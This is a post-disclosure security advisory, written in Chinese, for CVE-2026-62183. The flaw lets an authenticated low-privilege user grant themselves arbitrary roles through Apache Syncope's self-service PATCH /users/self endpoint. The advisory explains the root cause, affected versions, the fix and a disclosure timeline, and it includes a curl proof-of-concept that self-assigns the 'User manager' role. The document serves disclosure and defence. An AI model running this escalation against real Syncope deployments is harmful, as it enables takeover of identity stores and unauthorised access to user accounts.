Apache Syncope 中的不当特权管理(CWE-269)。经过身份验证的低权限用户 可通过用户自助服务 API 为自己授予任意角色(以及组成员资格、外部资源 和新领域)——这些操作在其它所有代码路径上都需要管理权限——从而成为 身份库的管理员。
本仓库是此漏洞的技术参考:根因、经运行时验证的概念验证(PoC)以及复现说明。关于发现过程的叙述性文章单独发布(见技术文章)。
| CVE | CVE-2026-62183 |
| 厂商 / 产品 | Apache Software Foundation — Apache Syncope |
| 受影响组件 | org.apache.syncope.core:syncope-core-workflow-java |
| 漏洞类型 | CWE-269 特权管理不当(机制:CWE-862 缺少授权) |
| 严重性 | 重要(ASF PMC)· CVSS 3.1 8.8 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| 受影响版本 | 3.0.0-M0 → 3.0.16 · 4.0.0-M0 → 4.0.6 · 4.1.0-M0 → 4.1.1 |
| 修复版本 | 4.0.7 / 4.1.2(SYNCOPE-1983)· 3.0.x 已停止维护(EOL),无修复 |
| 验证环境 | 3.0.16(独立发行版,JDK 17),域 Master |
Apache Syncope 的用户自助服务更新端点 PATCH /users/self/{key} 仅要求 isAuthenticated()。共享的逻辑层跳过了对"self"操作的授权检查,而数据绑定器仍会应用请求中的特权字段(roles、memberships、resources、auxClasses、realm)。结果是直接的权限提升:低权限用户自行分配特权角色,并立即获得其权限——包括在角色足够强大时对所有用户的完全管理权限。在启用自助注册的情况下,同样的缺陷也存在于 doCreate,因此未认证攻击者可以注册一个已具备特权的账户。
当配置了以下任一用户工作流适配器时,此漏洞适用(这也是厂商公告的适用范围):
在生产环境中,自助服务通常通过 Enduser UI 驱动,而该界面不暴露角色分配功能;要触发此漏洞,需要低权限用户能够调用 Core REST API。下面的运行时 PoC 使用独立发行版(Standalone Distribution),Apache 在文档中将其说明为仅用于评估,并且该发行版自带种子数据(用户 bellini、内置角色 User manager / User reviewer)——这些种子数据在一般部署中并不存在。这些是对真实世界可利用性的如实限制,而并非对缺陷正确性的限制。
PATCH /users/self/{key} 的请求流程:
UserSelfService.update(UserUR) common/.../rest/api/service/UserSelfService.java @PATCH @Path("users/self/{key}")
→ UserSelfLogic.update(...) core/idrepo/logic/.../UserSelfLogic.java
→ AbstractUserLogic.doUpdate(..., self=true)
→ UserDataBinderImpl.update(...) core/provisioning-java/.../data/UserDataBinderImpl.java
1. 端点仅校验"是否有人登录?" — UserSelfLogic.update:
@PreAuthorize("isAuthenticated() "
+ "and not(hasRole('" + IdRepoEntitlement.ANONYMOUS + "')) "
+ "and not(hasRole('" + IdRepoEntitlement.MUST_CHANGE_PASSWORD + "'))")
public ProvisioningResult<UserTO> update(final UserUR userUR, final boolean nullPriorityAsync) {
...
ProvisioningResult<UserTO> updated = doUpdate(userUR, true, nullPriorityAsync); // self = true
2. 对 self 操作跳过授权检查 — AbstractUserLogic.doUpdate:
protected ProvisioningResult<UserTO> doUpdate(final UserUR userReq, final boolean self, ...) {
...
if (!self) { // self == true: the whole block is skipped
Set<String> authRealms = RealmUtils.getEffective(
AuthContextUtils.getAuthorizations().get(IdRepoEntitlement.USER_UPDATE), ...);
userDAO.securityChecks(authRealms, before.getKey(), before.getRealm(), groups);
}
...
}
3. 绑定器无条件应用特权字段 — UserDataBinderImpl.update(...) 直接从请求中应用角色 ADD/DELETE、memberships(...)(组)和 fill(...)(资源 / 领域),且不进行调用方权限检查——该检查本应位于被第 2 步跳过的 Logic 层。管理路径(UserLogic.update、@PreAuthorize("hasRole('USER_UPDATE')")、doUpdate(..., false, ...))会执行 securityChecks;而 self 路径不会。
提升后的角色在认证时生效:AuthDataAccessor.getUserAuthorities(user) 遍历 userDAO.findAllRoles(user) 并合并每个角色的权限,因此自行分配的角色会在用户的下一次请求/登录时生效。同样的 if (!self) 跳过逻辑也存在于 doCreate 中,使该缺陷延伸到自助注册。
简而言之:两层各自都假定对方执行了权限检查。端点将授权委托给 Logic 层;Logic 层对 self 跳过了检查;绑定器则信任 Logic 层已经对字段进行了把关。
一个没有任何角色的普通已认证用户自行分配内置特权角色 User manager(该角色授予对 / 的 USER_READ 权限),然后读取任意账户。无需管理员操作,无需特殊配置。完整脚本:poc.sh。
B=http://localhost:9080/syncope/rest
H='-H X-Syncope-Domain:Master -H Accept:application/json -H Content-Type:application/json'
# (setup, admin) create a plain user with NO roles → returns entity.key = $K2
curl -s -u admin:password $H -X POST "$B/users" -d '{"_class":"org.apache.syncope.common.lib.request.UserCR",
"realm":"/","username":"eviluser2","password":"Password123!","mustChangePassword":false,
"plainAttrs":[{"schema":"fullname","values":["E2"]},{"schema":"surname","values":["Two"]},
{"schema":"userId","values":["[email protected]"]}]}'
AUTH="-u eviluser2:Password123!"
# [1] baseline — eviluser2 cannot read another account:
curl -s $AUTH $H -o /dev/null -w '%{http_code}\n' "$B/users/bellini" # -> 403
# [2] THE BUG — eviluser2 self-assigns the existing privileged role "User manager":
curl -s $AUTH $H -X PATCH "$B/users/self/$K2" -d '{"_class":"org.apache.syncope.common.lib.request.UserUR",
"key":"'"$K2"'","roles":[{"operation":"ADD_REPLACE","value":"User manager"}]}' \
-w '%{http_code}\n' # -> 200 ; entity.roles=["User manager"]
# [3] escalated — eviluser2 now reads any account:
curl -s $AUTH $H -o /dev/null -w '%{http_code}\n' "$B/users/bellini" # -> 200
观察结果: [1] 403 → [2] 200(角色现为 ["User manager"])→ [3] 200。该分配会持久化(已通过管理员视图确认)。相同的请求结构还可自行分配 memberships(组)、resources(触发向外部系统的供应操作)以及新的 realm。
该 PoC 刻意仅使用合法、有文档记录的 API 调用来演示授权缺口。它是一个最小化证明,而非武器化利用——参见负责任使用。
参见 BUILD.md 了解无需 Docker、无需 Maven 的运行时环境搭建(独立 Tomcat + Temurin JDK 17)及就绪检查,然后:
B=http://localhost:9080/syncope/rest ./poc.sh
任何已认证用户——包括权限最低的自助服务账户——都可以为自己授予任意已定义角色的权限。如果某个角色带有广泛的 USER_* / 管理权限,这就等于接管身份库:读取/修改/删除所有用户,并通过 resources / memberships 将账户供应到已连接的外部系统。在启用自助注册的情况下,未认证攻击者可以直接注册到特权状态(PR:N,CVSS 9.8)。具体获得的权限取决于目标部署中实际定义的角色。
已在 4.0.7 / 4.1.2 中修复,见 SYNCOPE-1983("要求对属性之外的自助更改进行管理员审批")。UserCR / UserUR 新增了 requiresApproval() 谓词(当请求涉及角色、成员资格、组、资源、关系、关联账户或用户/组管理员时返回 true),工作流适配器会将此类自助请求转交管理员审批,而不是直接应用。3.0.x 已停止维护(EOL),不会获得修复——受影响的 3.0.x 用户必须升级到受支持的版本分支。
| 日期(2026) | 事件 |
|---|---|
| 6月28日 | 通过 [email protected] 私下报告,附有根因分析和运行时 PoC |
| 7月13日 | Apache Syncope PMC 确认;CVE-2026-62183 预留;严重性评估为重要 |
| 7月20日 | 修复版本发布(4.0.7 / 4.1.2);厂商公告与 CVE 记录发布 |
根据 CVE 记录,致谢的发现者:Nic Jones(@NicPWNs)和 elin kai。本仓库记录了由 Nic Jones 贡献的源码级分析和经运行时验证的 PoC。
关于该研究过程的叙述性文章——研究方法、发现该问题的 Apache 项目审计过程,以及如何经运行时验证——发布在我的博客上:Self-Service to Admin: A Privilege Escalation in Apache Syncope。
本材料在协调披露并发布修复版本之后发布,用于防御和教育目的。PoC 仅使用合法的 API 调用来演示授权缺陷;它不是大规模利用工具。请勿将其用于你未获授权测试的系统。如果你运行 Apache Syncope,请升级到 4.0.7 / 4.1.2(或脱离 3.0.x)。